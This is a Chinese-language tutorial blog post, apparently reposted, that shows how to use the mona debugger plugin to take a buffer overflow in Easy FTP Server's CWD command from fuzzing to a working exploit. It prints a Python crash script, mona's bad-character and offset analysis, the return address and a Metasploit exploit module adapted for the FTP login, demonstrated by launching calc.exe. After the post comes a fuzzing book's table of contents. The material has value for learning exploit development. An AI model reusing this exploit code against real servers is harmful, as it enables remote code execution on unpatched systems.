模糊测试漏洞挖掘

原文http://seckungfu.com/blog/2012/11/20/lou-dong-wa-jue-shou-ji-zhi-monajian-jie/

相关网站 http://www.twisc.nctu.edu.tw/

http://140.113.87.234:8000/lan

mona是著名的corelan team出品的immunity debugger插件,漏洞利用的利器,metasploit friendly。
笔者最近也在学习这个工具,但发现中文资料非常少,所以写篇文章简单介绍一下mona的强大之处,使用的例子是<<0day第二版>>中的一个例子,这个例子非常简单,高手自动飘过。
已知easy ftp server 1.7.0.2的CWD命令由于参数的长度判断错误导致典型的缓冲区溢出。我们使用Infigo FTPStress Fuzzer重现一下漏洞挖掘时的场景。工具地址:http://www.infigo.hr/en/in_focus/tools 
架设好easyftp服务之后,在Fuzzer工具中选中CWD命令进行测试,简单的配置之后,点击start按钮:

 
上图可以看到发送的fuzzing数据长度为330之后没有收到服务端的响应。 

wireshark抓包明显可见发送的CWD 330*‘A’后返回的是RST包,说明对方已经崩溃。
使用ollydbg附加服务进程,崩溃时的场景如下: 

典型的缓冲区溢出!看到这里如何写一个利用工具相信你已经轻车熟路了,最简单的办法是找一个指向溢出段数据区的寄存器,然后在加载的模块中搜索类似于call esp,jmp esp指令的地址,手动计算溢出后覆盖返回地址的偏移位置,然后寻找合适的shellcode,再写利用程序….但是等等,如果有坏字符怎么办,会导致溢出失败或者shellcode不起作用,你有什么简单的办法确定有哪些坏字符吗?如果目标系统开启了DEP和ASLR呢? 
这一切mona都能自动帮你完成!首先是确定坏字符:

在immunity debugger命令行窗口中输入:

!mona bytearray -b ‘\x00\x0a’

会生成0x01-0xff的二进制流,我们使用-b选项排除了0x00和0x0a,这是已知的坏字符,如果出现在cwd命令中会导致命令被截断,然后将数据流作为cwd命令的参数重新触发漏洞,python简单实现如下:


import socket,sys
def ftp_test(ip,port):
    target=ip
    port = port
    bytearray="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16..........\xfc\xfd\xfe\xff"
    buffer=bytearray+"A"*(330-254)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
    connect=s.connect((target,port))
    s.recv(1024)
    s.send('USER anonymous\r\n')
    s.recv(1024)
    s.send('PASS anonymous\r\n')
    s.recv(1024)
    s.send('CWD '+buffer+'\r\n')
    try:
        s.recv(1024)
        print "failed!"
    except:
        print "OK!"

if __name__ == '__main__':
ftp_test('192.168.72.1',21)
使用immunity debugger附加服务,触发漏洞后输入: >!mona compare -f d:\logs\ftpbasicsvr\bytearray.bin bytearray.bin就原来生成的二进制流,这个命令通过内存查找比较内存中的字串和原来生成的串有哪些不同来发现坏字符,输出如图: 新发现的坏字符有0x5c,0x2f。 下面使用!mona pc 330命令生成类似于 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac 5Ac>6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0 Af1Af2A>f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5A h6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 的字符串,使用这个串替换上面python脚本中的buffer再次触发漏洞,然后在immunity debugger中输入: >!mona suggest -cpb ‘\x00\x0a\x2f\x5c’ -cpb指定相关的坏字符,输出如下:

---------- Mona command started on 2012-08-27 18:22:19 (v1.3-dev, rev 167) ----------
0BADF00D   [+] Processing arguments and criteria
0BADF00D       - Pointer access level : X
0BADF00D       - Bad char filter will be applied to pointers : '\x00\x0a'
0BADF00D   [+] Looking for cyclic pattern in memory
0BADF00D       Cyclic pattern (normal) found at 0x00a8fb64 (length 264 bytes)
0BADF00D       Cyclic pattern (normal) found at 0x00a8fd58 (length 330 bytes)
0BADF00D       -  Stack pivot between 220 & 550 bytes needed to land in this pattern
0BADF00D       Cyclic pattern (normal) found at 0x009625d9 (length 331 bytes)
0BADF00D       Cyclic pattern (normal) found at 0x00964592 (length 330 bytes)
0BADF00D       Cyclic pattern (normal) found at 0x009646e8 (length 330 bytes)
0BADF00D       Cyclic pattern (normal) found at 0x00964841 (length 331 bytes)
0BADF00D   [+] Examining registers
0BADF00D       EIP overwritten with normal pattern : 0x6a413969 (offset 268)
0BADF00D       ESP (0x00a8fc7c) points at offset 280 in normal pattern (length 51)
0BADF00D       EDI (0x009646e8) points at offset 0 in normal pattern (length 330)
0BADF00D       ECX overwritten with normal pattern : 0x69413569 (offset 256)
0BADF00D   [+] Examining SEH chain
0BADF00D   [+] Examining stack (+- 100 bytes) - looking for cyclic pattern
0BADF00D       Walking stack from 0x00a8fc18 to 0x00a8fce4 (0x000000cc bytes)
0BADF00D       0x00a8fc18 : Contains normal cyclic pattern at ESP-0x64 (-100) : offset 180, length 84 (-> 0x00a8fc6b : ESP-0x10)
0BADF00D       0x00a8fc70 : Contains normal cyclic pattern at ESP-0xc (-12) : offset 268, length 63 (-> 0x00a8fcae : ESP+0x33)
0BADF00D   [+] Examining stack (+- 100 bytes) - looking for pointers to cyclic pattern
0BADF00D       Walking stack from 0x00a8fc18 to 0x00a8fce4 (0x000000cc bytes)
0BADF00D       0x00a8fcbc : Pointer into normal cyclic pattern at ESP+0x40 (+64) : 0x0096487c : offset 59, length 272
0BADF00D       0x00a8fcd0 : Pointer into normal cyclic pattern at ESP+0x54 (+84) : 0x00964841 : offset 0, length 331
0BADF00D   [+] Preparing log file 'findmsp.txt'
0BADF00D       - (Re)setting logfile d:\logs\ftpbasicsvr\findmsp.txt
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D   [+] Preparing log file 'exploit.rb'
0BADF00D       - (Re)setting logfile d:\logs\ftpbasicsvr\exploit.rb
0BADF00D
0BADF00D   [+] Preparing payload...
0BADF00D
0BADF00D    ** Please select a skeleton exploit type from the dropdown list **
0BADF00D   [+] Attempting to create payload for saved return pointer overwrite...
0BADF00D   Metasploit 'Targets' section :
0BADF00D   ------------------------------
                       'Targets'        =>
                           [
                               [ '',
                                   {
                                       'Ret'       =>    0x62c22ba1,
                                       'Offset'    =>    268
                                   }
                               ], # call edi - LPK.DLL
                           ],

0BADF00D
0BADF00D   Metasploit 'exploit' function :
0BADF00D   --------------------------------
               def exploit
                   connect

                   buffer = payload.encoded    #max 268 bytes
                   buffer << rand_text(target['Offset'] - payload.encoded.length)
                   buffer << [target.ret].pack('V')

                   print_status("Trying target #{target.name}...")
                   sock.put(buffer)

                   handler
                   disconnect
               end
           [+] This mona.py action took 0:00:55.062000

中间会弹出提示框提示你需要配置的metasploit模块类型,我们选择network. 事实上上面的输出已经非常详细了,其亮点在于输出了一个metasploit的利用模块脚本,自动分析并填上了覆盖的返回地址的偏移,自动分析出edi寄存器指向输入数据的起始位置,然后在加载的LPK.DLL模块中找到了call edi指令的位置0x62c22ba1,贴心地为你提供了exploit函数. 值得注意的是,在查找call edi指令的过程自动地对提供的四个坏字符进行了检测,由于加载的模块大部分的起始地起址是0x00,而0x00正好是坏字符,最后只在系统模块lpk.dll中找到了合适的地址。另外,它会自动判断系统模块是否启用了ASLR,只在未启动ASLR的模块中进行搜索,它还会判断溢出的目标是否启用了DEP,如果启用了DEP,会自动为你生成可用的ROP链。 由于我们使用的是FTP协议,所以简单地对exploit函数进行修改如下

def exploit             
connect          
    sock.recv(1024)          
    sock.put("USER anonymous\r\n")           
sock.recv(1024)           
sock.put("PASS anonymous\r\n")           
sock.recv(1024)          
 buffer = "CWD "+payload.encoded     #max 268 bytes          
    buffer << 'A'*(target['Offset'] - payload.encoded.length)          
    buffer << [target.ret].pack('V')           
buffer << "\r\n"                 
print_status("Trying target #{target.name}...")           
sock.put(buffer)            
handler           
disconnect      
 end
我们将模块添加到metaploit中,使用show payloads命令会列出符合坏字符条件的可用payload,这里使用简单的windows/exec payload执行calc.exe,效果如图:至此先通过挖掘漏洞到使用mona进行漏洞利用的过程就结束了,mona的功能可不止这些,感兴趣的朋友可以查看[mona的使用手册](https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
目录 作者序 译者序 前 言 第一部分 第1章 安全漏洞发掘方法学 1.1 白盒测试 1.1.1 源代码评审 1.1.2 工具和自动化 1.1.3 优点和缺点 1.2 黑盒测试 1.2.1 人工测试 1.2.2 自动测试模糊测试 1.2.3 优点和缺点 1.3 灰盒测试 1.3.1 二进制审核 1.3.2 自动化的二进制审核 1.3.3 优点和缺点 1.4 小结 1.5 脚注 第2章 什么是模糊测试 2.1 模糊测试的定义 2.2 模糊测试的历史 2.3 模糊测试阶段 2.4 模糊测试的局限性和期望 2.4.1 访问控制缺陷 2.4.2 设计逻辑不良 2.4.3 后门 2.4.4 内存破坏 2.4.5 多阶段安全漏洞 2.5 小结 第3章 模糊测试方法和模糊器类型 3.1 模糊测试方法 3.1.1 预先生成测试用例 3.1.2 随机方法 3.1.3 协议变异人工测试 3.1.4 变异或强制性测试 3.1.5 自动协议生成测试 3.2 模糊器类型 3.2.1 本地模糊器 3.2.2 远程模糊器 3.2.3 内存模糊器 3.2.4 模糊器框架 3.3 小结 第4章 数据表示和分析 4.1 什么是协议 4.2 协议域 4.3 简单文本协议 4.4 二进制协议 4.5 网络协议 4.6 文件格式 4.7 常见的协议元素 4.7.1 名字-值对 4.7.2 块标识符 4.7.3 块长度 4.7.4 校验和 4.8 小结 第5章 有效模糊测试的需求 5.1 可重现性和文档记录 5.2 可重用性 5.3 过程状态和过程深度 5.4 跟踪、代码覆盖和度量 5.5 错误检测 5.6 资源约束 5.7 小结 第二部分 第6章 自动化测试测试数据生成 6.1 自动化测试的价值 6.2 有用的工具和库 6.2.1ETHEREAL /WIRESHARK 6.2.2LIBDASM 和LIBDISASM 6.2.3LIBNET /LIBNETNT 6.2.4LIBPCAP 6.2.5METRO PACKET LIBRARY 6.2.6PTRACE 6.2.7PYTHON EXTENSIONS 6.3 编程语言的选择 6.4 测试数据生成和模糊启发式 6.4.1 整型值 6.4.2 字符串重复 6.4.3 字段分隔符 6.4.4 格式化字符串 6.4.5 字符翻译 6.4.6 目录遍历 6.5 小结 第7章 环境变量和参数的模糊测试 7.1 本地化模糊测试介绍 7.1.1 命令行参数 7.1.2 环境变量 7.2 本地化模糊测试准则 7.3 寻找目标程序 7.4 本地化模糊测试方法 7.5 枚举环境变量 7.6 自动化的环境变量测试 7.7 检测问题 7.8 小结 第8章 环境变量和参数的模糊测试:自动化 8.1 iFUZZ本地化模糊器的特性 8.2 iFUZZ的开发 8.3 iFUZZ的开发语言 8.4 实例研究 8.5 益处和改进的余地 8.6 小结 第9章 Web应用程序和服务器模糊测试 9.1 什么是Web应用程序模糊测试 9.2 目标应用 9.3 测试方法 9.3.1 建立目标环境 9.3.2 输入 9.4 漏洞 9.5 异常检测 9.6 小结 第10章 Web应用程序和服务器的模糊测试:自动化 10.1 Web应用模糊器 10.2 WebFuzz的特性 10.2.1 请求 10.2.2 模糊变量 10.2.3 响应 10.3 必要的背景知识 10.3.1 识别请求 10.3.2 漏洞检测 10.4 WebFuzz的开发 10.4.1 开发方法 10.4.2 开发语言的选择 10.4.3 设计 10.5 实例研究 10.5.1 目录遍历 10.5.2 溢出 10.5.3 SQL注入 10.5.4 XSS脚本 10.6 益处和改进的余地 10.7 小结 第11章 文件格式模糊测试 11.1 目标应用 11.2 方法 11.2.1 强制性或基于变异的模糊测试 11.2.2 智能强制性或基于生成的模糊测试 11.3 输入 11.4 漏洞 11.4.1 拒绝服务 11.4.2 整数处理问题 11.4.3 简单的栈和堆溢出 11.4.4 逻辑错误 11.4.5 格式化字符串 11.4.6 竞争条件 11.5 漏洞检测 11.6 小结 第12章 文件格式模糊测试:UNIX平台上的自动化测试 12.1 NOTSPIKEFILE和SPIKEFILE 12.2 开发方法 12.2.1 异常检测引擎 12.2.2 异常报告(异常检测) 12.2.3 核心模糊测试引擎 12.3 有意义的代码片段 12.3.1 通常感兴趣的UNIX信号 12.3.2 不太感兴趣的UNIX信号 12.4 僵死进程 12.5 使用的注意事项 12.5.1 ADOBE ACROBAT 12.5.2 REALNETWORKS REALPLAYRE 12.6 实例研究:REALPLAYER REALPIX格式化字符串漏洞 12.7 语言 12.8 小结 第13章 文件格式模糊测试:Windows平台上的自动化测试 13.1 Windows文件格式漏洞 13.2 FileFuzz的特性 13.2.1 创建文件 13.2.2 应用程序执行 13.2.3 异常检测 13.2.4 保存的审核 13.3 必要的背景知识 13.4 FileFuzz的开发 13.4.1 开发方法 13.4.2 开发语言的选择 13.4.3 设计 13.5 实例研究 13.6益处和改进的余地 13.7 小结 第14章 网络协议模糊测试 14.1 什么是网络协议模糊测试 14.2 目标应用 14.2.1APPLEGATE 14.2.2 网络层 14.2.3 传输层 14.2.4 会话层 14.2.5 表示层 14.2.6 应用层 14.3 测试方法 14.3.1强制性或基于变异的模糊测试 14.3.2 智能强制性模糊测试和基于生成的模糊测试 14.3.3 修改的客户端变异模糊测试 14.4 错误检测 14.4.1 人工方法(基于调试器) 14.4.2 自动化方法(基于代理) 14.4.3 其它方法 14.5 小结 第15章 网络协议模糊测试:UNIX平台上的自动化测试 15.1 使用SPIKE进行模糊测试 15.1.1 选择测试目标 15.1.2 协议逆向工程 15.2 SPIKE 101 15.2.1 模糊测试引擎 15.2.2 通用的基于行的TCP模糊器 15.3 基于块的协议建模 15.4 SPIKE的额外特性 15.4.1 特定于协议的模糊器 15.4.2 特定于协议的模糊测试脚本 15.4.3 通用的基于脚本的模糊器 15.5 编写SPIKE NMAP模糊器脚本 15.6 小结 第16章 网络协议模糊测试:Windows平台上的自动化测试 16.1 ProtoFuzz的特性 16.1.1 包结构 16.1.2 捕获数据 16.1.3 解析数据 16.1.4 模糊变量 16.1.5 发送数据 16.2 必要的背景知识 16.2.1 错误检测 16.2.2 协议驱动程序 16.3 ProtoFuzz的开发 16.3.1 开发语言的选择 16.3.2 包捕获库 16.3.3 设计 16.4 实例研究 16.5 益处和改进的余地 16.6 小结 第17章 Web浏览器模糊测试 17.1 什么是Web浏览器模糊测试 17.2 目标 17.3 方法 17.3.1 测试方法 17.3.2 输入 17.4 漏洞 17.5 错误检测 17.6 小结 第18章 Web浏览器的模糊测试:自动化 18.1 组件对象模型的背景知识 18.1.1 在Nutshell中的发展历史 18.1.2 对象和接口 18.1.3 ActiveX 18.2 模糊器的开发 18.2.1 枚举可加载的ActiveX控件 18.2.2 属性,方法,参数和类型 18.2.3 模糊测试和监视 18.3 小结 第19章 内存数据的模糊测试 19.1 内存数据模糊测试的概念及实施该测试的原因 19.2 必需的背景知识 19.3 究竟什么是内存数据模糊测试 19.4 目标 19.5 方法:变异循环插入 19.6 方法:快照恢复变异 19.7 测试速度和处理深度 19.8 错误检测 19.9 小结 第20章 内存数据的模糊测试:自动化 20.1 所需要的特性集 20.2 开发语言的选择 20.3 Windows调试API 20.4 将其整合在一起 20.4.1如何实现在特定点将"钩子"植入目标进程的需求 20.4.2如何来处理进程快照和恢复 20.4.3如何来选择植入钩子的点 20.4.4如何对目标内存空间进行定位和变异 20.5你的新的最好的朋友PYDBG 20.6 一个构想的示例 20.7 小结 第三部分 第21章 模糊测试框架 21.1 模糊测试框架的概念 21.2 现有框架 21.2.1 ANTIPARSER 21.2.2 DFUZ 21.2.3 SPIKE 21.2.4 PEACH 21.2.5 通用模糊器(General Purpose Fuzzer) 21.2.6 AUTODAF? 21.3 定制模糊器的实例研究:SHOCKWAVE FLASH 21.3.1 SWF文件的建模 21.3.2 生成有效的数据 21.3.3 对环境进行模糊测试 21.3.4 测试方法 21.4模糊测试框架SULLEY 21.4.1 SULLEY目录结构 21.4.2 数据表示 21.4.3 会话 21.4.4 21.4.5 一个完整的实例分析 21.5 小结 第22章 自动化协议解析 22.1 模糊测试存在的问题是什么 22.2 启发式技术 22.2.1 代理模糊测试 22.2.2 改进的代理模糊测试 22.2.3 反汇编启发式规则 22.3 生物信息学 22.4 遗传算法 22.5 小结 第23章 模糊器跟踪 23.1 我们究竟想要跟踪什么 23.2 二进制代码可视化和基本块 23.2.1 CFG 23.2.2 CFG示例 23.3 构造一个模糊器跟踪器 23.3.1 刻画目标特征 23.3.2 跟踪 23.3.3 交叉引用 23.4 对一个代码覆盖工具的分析 23.4.1 PSTALKER设计概览 23.4.2 数据源 23.4.3 数据探查 23.4.4 数据捕获 23.4.5局限性 23.4.6 数据存储 23.5 实例研究 23.5.1 测试策略 23.5.2 测试方法 23.6 益处和改进的余地 23.7 小结 第24章 智能故障检测 24.1 基本的错误检测方法 24.2 我们所要搜索的内容 24.3 选择模糊值时的注意事项 24.4 自动化的调试器监视 24.4.1 一个基本的调试器监视器 24.4.2 一个更加高级的调试器监视器 24.5 24.6 动态二进制插装 24.7 小结 第四部分 第25章 汲取的教训 25.1 软件开发生命周期 25.1.1 分析 25.1.2 设计 25.1.3 编码 25.1.4 测试 25.1.5 维护 25.1.6 在SDLC中实现模糊测试 25.2 开发者 25.3 QA研究者 25.4 安全问题研究者 25.5 小结 第26章 展望 26.1 商业工具 26.1.1 安全性测试工具beSTORM 26.1.2 BREAKINGPOINT系统BPS-1000 26.1.3 CODENOMICON 26.1.4 GLEG PROTOVER PROFESSIONAL 26.1.5 安全性测试工具MU-4000 26.1.6 SECURITY INNOVATION HOLODECK 26.2 发现漏洞的混合方法 26.3 集成的测试平台 26.4 小结

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值